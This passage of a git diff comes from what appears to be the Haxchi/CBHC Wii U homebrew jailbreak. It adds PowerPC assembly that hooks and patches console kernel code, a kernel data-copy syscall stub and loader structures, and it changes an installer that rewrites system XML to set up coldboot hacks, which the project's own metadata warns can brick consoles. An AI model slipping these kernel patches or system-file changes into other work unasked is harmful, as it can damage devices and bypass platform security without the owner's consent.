0x1000 on mii maker + uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker + uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker + uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker + uint32_t title_version; // from app.xml, 0x32 on mii maker + /* + // --------------------------------------------------------------------------------------------------------------------------------------------- + // the next part might be changing from title to title?! I don't think its important but nice to know maybe.... + // --------------------------------------------------------------------------------------------------------------------------------------------- + char mlc[4]; // string "mlc" on mii maker and sysmenu + uint32_t unknown5[7]; // all zeros on mii maker and sysmenu + uint32_t unknown6_one; // 0x01 on mii maker and sysmenu + // --------------------------------------------------------------------------------------------------------------------------------------------- + char ACP[4]; // string "ACP" on mii maker and sysmenu + uint32_t unknown7[15]; // all zeros on mii maker and sysmenu + uint32_t unknown8_5; // 0x05 on mii maker and sysmenu + uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu + uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu + // --------------------------------------------------------------------------------------------------------------------------------------------- + char UVD[4]; // string "UVD" on mii maker and sysmenu + uint32_t unknown11[15]; // all zeros on mii maker and sysmenu + uint32_t unknown12_5; // 0x05 on mii maker and sysmenu + uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu + uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu + // --------------------------------------------------------------------------------------------------------------------------------------------- + char SND[4]; // string "SND" on mii maker and sysmenu + uint32_t unknown15[15]; // all zeros on mii maker and sysmenu + uint32_t unknown16_5; // 0x05 on mii maker and sysmenu + uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu + uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu + // --------------------------------------------------------------------------------------------------------------------------------------------- + uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu + */ + // after that only zeros follow +} __attribute__((packed)) CosAppXmlInfo; + + +#ifdef __cplusplus +} +#endif + +#endif // __KERNEL_DEFS_H_ diff --git a/dsrom/vwii_loader/sd_loader/src/kernel_hooks.S b/dsrom/vwii_loader/sd_loader/src/kernel_hooks.S new file mode 100644 index 0000000..0d7f11f --- /dev/null +++ b/dsrom/vwii_loader/sd_loader/src/kernel_hooks.S @@ -0,0 +1,69 @@ +# This stuff may need a change in different kernel versions +# This is only needed when launched directly through browser and not SD card. + +.section ".kernel_code" + .globl SaveAndResetDataBATs_And_SRs_hook +SaveAndResetDataBATs_And_SRs_hook: + # setup CTR to the position we need to return to + mflr r5 + mtctr r5 + # set link register to its original value + mtlr r7 + # setup us a nice DBAT for our code data with same region as our code + mfspr r5, 560 + mtspr 570, r5 + mfspr r5, 561 + mtspr 571, r5 + # restore the original kernel instructions that we replaced + lwz r5, 0x34(r3) + lwz r6, 0x38(r3) + lwz r7, 0x3C(r3) + lwz r8, 0x40(r3) + lwz r9, 0x44(r3) + lwz r10, 0x48(r3) + lwz r11, 0x4C(r3) + lwz r3, 0x50(r3) + isync + mtsr 7, r5 + # jump back to the position in kernel after our patch (from LR) + bctr + +.extern my_PrepareTitle + .globl my_PrepareTitle_hook +my_PrepareTitle_hook: + # store all registers on stack to avoid issues with the call to C functions + stwu r1, -0x90(r1) + # registers for our own usage + # just store everything + stmw r3, 0x10(r1) + + # save the LR from where we came + mflr r31 + + # the cos.xml/app.xml structure is at the location 0x68 of r11 + # there are actually many places that can be hooked for it + # e.g. 0xFFF16130 and r27 points to this structure + addi r3, r11, 0x68 + + bl my_PrepareTitle + + # setup LR to jump back to kernel code + mtlr r31 + + # restore all original values of registers from stack + lmw r3, 0x10(r1) + + # restore the stack + addi r1, r1, 0x90 + + # restore original instruction that we replaced in the kernel + clrlwi r7, r12, 0 + + # jump back + blr + + .globl SC0x25_KernelCopyData +SC0x25_KernelCopyData: + li r0, 0x2500 + sc + blr diff --git a/dsrom/vwii_loader/sd_loader/src/link.ld b/dsrom/vwii_loader/sd_loader/src/link.ld new file mode 100644 index 0000000..610f5d3 --- /dev/null +++ b/dsrom/vwii_loader/sd_loader/src/link.ld @@ -0,0 +1,23 @@ +OUTPUT(sd_loader.elf); + +ENTRY(_start); + +SECTIONS { + . = 0x00800000; + .text : { + *(.kernel_code*); + *(.text*); + /* Tell linker to not garbage collect this section as it is not referenced anywhere */ + KEEP(*(.kernel_code*)); + } + .data : { + *(.rodata*); + *(.data*); + *(.bss*); + } + /DISCARD/ : { + *(*); + } +} + +ASSERT((SIZEOF(.text) + SIZEOF(.data)) <= 0x1300, "Memory overlapping with main elf."); diff --git a/dsrom/vwii_loader/sd_loader/src/loader_defs.h b/dsrom/vwii_loader/sd_loader/src/loader_defs.h new file mode 100644 index 0000000..b71514f --- /dev/null +++ b/dsrom/vwii_loader/sd_loader/src/loader_defs.h @@ -0,0 +1,38 @@ +#ifndef __LOADER_DEFS_H_ +#define __LOADER_DEFS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +// struct holding the globals of the loader (there are actually more but we don't need others) +typedef struct _loader_globals_t +{ + int sgIsLoadingBuffer; + int sgFileType; + int sgProcId; + int sgGotBytes; + int sgFileOffset; + int sgBufferNumber; + int sgBounceError; + char sgLoadName[0x1000]; +} __attribute__((packed)) loader_globals_t; + +typedef struct _loader_globals_550_t +{ + int sgFinishedLoadingBuffer; + int sgFileType; + int sgProcId; + int sgGotBytes; + int sgTotalBytes; + int sgFileOffset; + int sgBufferNumber; + int sgBounceError; + char sgLoadName[0x1000]; +} __attribute__((packed)) loader_globals_550_t; + +#ifdef __cplusplus +} +#endif + +#endif // __LOADER_DEFS_H_ diff --git a/dsrom/vwii_loader/structs.h b/dsrom/vwii_loader/structs.h new file mode 100644 index 0000000..9233f86 --- /dev/null +++ b/dsrom/vwii_loader/structs.h @@ -0,0 +1,32 @@ +#ifndef STRUCTS_H +#define STRUCTS_H + +typedef struct { + unsigned char *data; + int len; + int alloc_size; + void* (*memcpy)(void * dest, const void * src, int num); +} file_struct_t; + +typedef struct { + unsigned char *data_elf; + unsigned int coreinit_handle; + /* function pointers */ + void* (*memcpy)(void * dest, const void * src, int num); + void* (*memset)(void * dest, unsigned int value, unsigned int bytes); + void* (*OSEffectiveToPhysical)(const void*); + void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align); + void (*MEMFreeToDefaultHeap)(void *ptr); + void (*DCFlushRange)(const void *addr, unsigned int length); + void (*ICInvalidateRange)(const void *addr, unsigned int length); + void (*_Exit)(int); + + void* (*curl_easy_init)(void); + void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); + int (*curl_easy_perform)(void *handle); + void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op); + void (*curl_easy_cleanup)(void *handle); +} private_data_t; + + +#endif // STRUCTS_H diff --git a/dsrom/vwii_loader/types.h b/dsrom/vwii_loader/types.h new file mode 100644 index 0000000..e9194b3 --- /dev/null +++ b/dsrom/vwii_loader/types.h @@ -0,0 +1,22 @@ +#ifndef TYPES_H +#define TYPES_H + +typedef unsigned long long uint64_t; +typedef long long int64_t; +typedef unsigned int uint32_t; +typedef int int32_t; +typedef unsigned short uint16_t; +typedef short int16_t; +typedef unsigned char uint8_t; +typedef char int8_t; + +typedef uint32_t size_t; + +typedef _Bool bool; +#define true 1 +#define false 0 +#define null 0 + +#define NULL (void*)0 + +#endif /* TYPES_H */ diff --git a/installer/src/main.c b/installer/src/main.c index 4a49959..adad11d 100644 --- a/installer/src/main.c +++ b/installer/src/main.c @@ -1,5 +1,5 @@ /* - * Copyright (C) 2016 FIX94 + * Copyright (C) 2016-2017 FIX94 * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. @@ -126,9 +126,9 @@ int availSort(const void *c1, const void *c2) void printhdr_noflip() { #ifdef CB - println_noflip(0,"CBHC v1.5u1 by FIX94"); + println_noflip(0,"CBHC v1.6 by FIX94"); #else - println_noflip(0,"Haxchi v2.5u1 by FIX94"); + println_noflip(0,"Haxchi v2.5u2 by FIX94"); #endif println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok"); } @@ -139,12 +139,13 @@ int Menu_Main(void) InitSysFunctionPointers(); InitVPadFunctionPointers(); VPADInit(); + memoryInitialize(); // Init screen OSScreenInit(); int screen_buf0_size = OSScreenGetBufferSizeEx(0); int screen_buf1_size = OSScreenGetBufferSizeEx(1); - uint8_t *screenBuffer = memalign(0x100, screen_buf0_size+screen_buf1_size); + uint8_t *screenBuffer = (uint8_t*)MEMBucket_alloc(screen_buf0_size+screen_buf1_size, 0x100); OSScreenSetBufferEx(0, screenBuffer); OSScreenSetBufferEx(1, (screenBuffer + screen_buf0_size)); OSScreenEnableEx(0, 1); @@ -155,14 +156,14 @@ int Menu_Main(void) int mcp_handle = MCP_Open(); int count = MCP_TitleCount(mcp_handle); int listSize = count*0x61; - char *tList = memalign(32, listSize); + char *tList = memalign(32, listSize); //cant be in MEMBucket memset(tList, 0, listSize); int recievedCount = count; MCP_TitleList(mcp_handle, &recievedCount, tList, listSize); MCP_Close(mcp_handle); int gAvailCnt = 0; - parsedList_t *gAvail = (parsedList_t*)malloc(recievedCount*sizeof(parsedList_t)); + parsedList_t *gAvail = (parsedList_t*)MEMBucket_alloc(recievedCount*sizeof(parsedList_t), 4); memset(gAvail, 0, recievedCount*sizeof(parsedList_t)); int i, j; @@ -209,7 +210,8 @@ int Menu_Main(void) } OSScreenEnableEx(0, 0); OSScreenEnableEx(1, 0); - free(screenBuffer); + MEMBucket_free(screenBuffer); + memoryRelease(); return EXIT_SUCCESS; } @@ -235,7 +237,8 @@ int Menu_Main(void) { OSScreenEnableEx(0, 0); OSScreenEnableEx(1, 0); - free(screenBuffer); + MEMBucket_free(screenBuffer); + memoryRelease(); return EXIT_SUCCESS; } if( vpad.btns_h & VPAD_BUTTON_DOWN ) @@ -339,7 +342,8 @@ int Menu_Main(void) { OSScreenEnableEx(0, 0); OSScreenEnableEx(1, 0); - free(screenBuffer); + MEMBucket_free(screenBuffer); + memoryRelease(); return EXIT_SUCCESS; } //lets go! @@ -409,7 +413,7 @@ int Menu_Main(void) fileStat_s stats; IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); size_t sysXmlSize = stats.size; - char *sysXmlBuf = malloc(sysXmlSize+1); + char *sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4); memset(sysXmlBuf, 0, sysXmlSize+1); fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); IOSUHAX_FSA_CloseFile(fsaFd, slcFd); @@ -430,7 +434,7 @@ int Menu_Main(void) } } xmlFreeDoc(doc); - free(sysXmlBuf); + MEMBucket_free(sysXmlBuf); if(idFound != 1) println(line++,"default_title_id missing!"); else if(idCorrect != 1) @@ -443,7 +447,7 @@ int Menu_Main(void) fileStat_s stats; IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); size_t sysXmlSize = stats.size; - sysXmlBuf = malloc(sysXmlSize+1); + sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4); memset(sysXmlBuf, 0, sysXmlSize+1); fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); IOSUHAX_FSA_CloseFile(fsaFd, slcFd); @@ -479,7 +483,7 @@ int Menu_Main(void) println(line++,"Removed coldboothax!"); } } - free(sysXmlBuf); + MEMBucket_free(sysXmlBuf); } else println(line++,"syshax.xml backup not found, aborting!"); @@ -530,7 +534,7 @@ int Menu_Main(void) fileStat_s stats; IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); size_t cfgSize = stats.size; - uint8_t *cfgBuf = malloc(cfgSize); + uint8_t *cfgBuf = MEMBucket_alloc(cfgSize,4); fsa_read(fsaFd, sdFd, cfgBuf, cfgSize); IOSUHAX_FSA_CloseFile(fsaFd, sdFd); sdFd = -1; @@ -545,7 +549,7 @@ int Menu_Main(void) //make it readable by game IOSUHAX_FSA_ChangeMode(fsaFd, path, 0x644); } - free(cfgBuf); + MEMBucket_free(cfgBuf); } #endif @@ -556,7 +560,7 @@ int Menu_Main(void) fileStat_s stats; IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); size_t titleSize = stats.size; - xmlChar *titleBuf = malloc(titleSize+1); + xmlChar *titleBuf = MEMBucket_alloc(titleSize+1,4); memset(titleBuf, 0, titleSize+1); fsa_read(fsaFd, sdFd, titleBuf, titleSize); IOSUHAX_FSA_CloseFile(fsaFd, sdFd); @@ -566,7 +570,7 @@ int Menu_Main(void) { IOSUHAX_FSA_StatFile(fsaFd, mlcFd, &stats); size_t metaSize = stats.size; - char *metaBuf = malloc(metaSize); + char *metaBuf = MEMBucket_alloc(metaSize,4); fsa_read(fsaFd, mlcFd, metaBuf, metaSize); IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); mlcFd = -1; @@ -612,9 +616,9 @@ int Menu_Main(void) } free(newXml); } - free(metaBuf); + MEMBucket_free(metaBuf); } - free(titleBuf); + MEMBucket_free(titleBuf); } sprintf(sdPath,"%s/bootDrcTex.tga",sdHaxchiPath); @@ -624,7 +628,7 @@ int Menu_Main(void) fileStat_s stats; IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); size_t bootDrcTexSize = stats.size; - uint8_t *bootDrcTex = malloc(bootDrcTexSize); + uint8_t *bootDrcTex = MEMBucket_alloc(bootDrcTexSize,4); fsa_read(fsaFd, sdFd, bootDrcTex, bootDrcTexSize); IOSUHAX_FSA_CloseFile(fsaFd, sdFd); sdFd = -1; @@ -637,7 +641,7 @@ int Menu_Main(void) IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); mlcFd = -1; } - free(bootDrcTex); + MEMBucket_free(bootDrcTex); } sprintf(sdPath,"%s/bootTvTex.tga",sdHaxchiPath); @@ -647,7 +651,7 @@ int Menu_Main(void) fileStat_s stats; IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); size_t bootTvTexSize = stats.size; - uint8_t *bootTvTex = malloc(bootTvTexSize); + uint8_t *bootTvTex = MEMBucket_alloc(bootTvTexSize,4); fsa_read(fsaFd, sdFd, bootTvTex, bootTvTexSize); IOSUHAX_FSA_CloseFile(fsaFd, sdFd); sdFd = -1; @@ -660,7 +664,7 @@ int Menu_Main(void) IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); mlcFd = -1; } - free(bootTvTex); + MEMBucket_free(bootTvTex); } sprintf(sdPath,"%s/iconTex.tga",sdHaxchiPath); @@ -670,7 +674,7 @@ int Menu_Main(void) fileStat_s stats; IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); size_t iconTexSize = stats.size; - uint8_t *iconTex = malloc(iconTexSize); + uint8_t *iconTex = MEMBucket_alloc(iconTexSize,4); fsa_read(fsaFd, sdFd, iconTex, iconTexSize); IOSUHAX_FSA_CloseFile(fsaFd, sdFd); sdFd = -1; @@ -683,7 +687,7 @@ int Menu_Main(void) IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); mlcFd = -1; } - free(iconTex); + MEMBucket_free(iconTex); } sprintf(sdPath,"%s/bootSound.btsnd",sdHaxchiPath); @@ -693,7 +697,7 @@ int Menu_Main(void) fileStat_s stats; IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); size_t bootSoundSize = stats.size; - uint8_t *bootSound = malloc(bootSoundSize); + uint8_t *bootSound = MEMBucket_alloc(bootSoundSize,4); fsa_read(fsaFd, sdFd, bootSound, bootSoundSize); IOSUHAX_FSA_CloseFile(fsaFd, sdFd); sdFd = -1; @@ -706,7 +710,7 @@ int Menu_Main(void) IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); mlcFd = -1; } - free(bootSound); + MEMBucket_free(bootSound); } #ifdef CB @@ -716,7 +720,7 @@ int Menu_Main(void) fileStat_s stats; IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); size_t sysXmlSize = stats.size; - char *sysXmlBuf = malloc(sysXmlSize+1); + char *sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4); memset(sysXmlBuf, 0, sysXmlSize+1); fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); IOSUHAX_FSA_CloseFile(fsaFd, slcFd); @@ -820,7 +824,7 @@ int Menu_Main(void) } } } - free(sysXmlBuf); + MEMBucket_free(sysXmlBuf); } println(line++,"Done installing CBHC!"); #else @@ -828,10 +832,10 @@ int Menu_Main(void) #endif prgEnd: - if(tList) + if(tList) //cant be in MEMBucket free(tList); if(gAvail) - free(gAvail); + MEMBucket_free(gAvail); //close down everything fsa related if(fsaFd >= 0) { @@ -861,6 +865,7 @@ prgEnd: SYSLaunchMenu(); OSScreenEnableEx(0, 0); OSScreenEnableEx(1, 0); - free(screenBuffer); + MEMBucket_free(screenBuffer); + memoryRelease(); return EXIT_RELAUNCH_ON_LOAD; } diff --git a/release/wiiu/apps/cbhc/meta.xml b/release/wiiu/apps/cbhc/meta.xml index eef8e47..e3a2d3b 100644 --- a/release/wiiu/apps/cbhc/meta.xml +++ b/release/wiiu/apps/cbhc/meta.xml @@ -2,9 +2,9 @@ CBHC FIX94 - 1.5u1 + 1.6 https://github.com/FIX94/haxchi - 20161230200000 + 20170113200000 Coldboot Haxchi Installer WARNING! This will install Coldboot Haxchi on your system. ONLY USE THIS IF YOU ARE WILLING TO TAKE A RISK OF BRICKING YOUR CONSOLE. diff --git a/release/wiiu/apps/haxchi/meta.xml b/release/wiiu/apps/haxchi/meta.xml index 1114501..c921bc3 100644 --- a/release/wiiu/apps/haxchi/meta.xml +++ b/release/wiiu/apps/haxchi/meta.xml @@ -2,9 +2,9 @@ Haxchi FIX94 - 2.5u1 + 2.5u2 https://github.com/FIX94/haxchi - 20161230200000 + 20170113200000 Haxchi Installer This will install Haxchi on your system.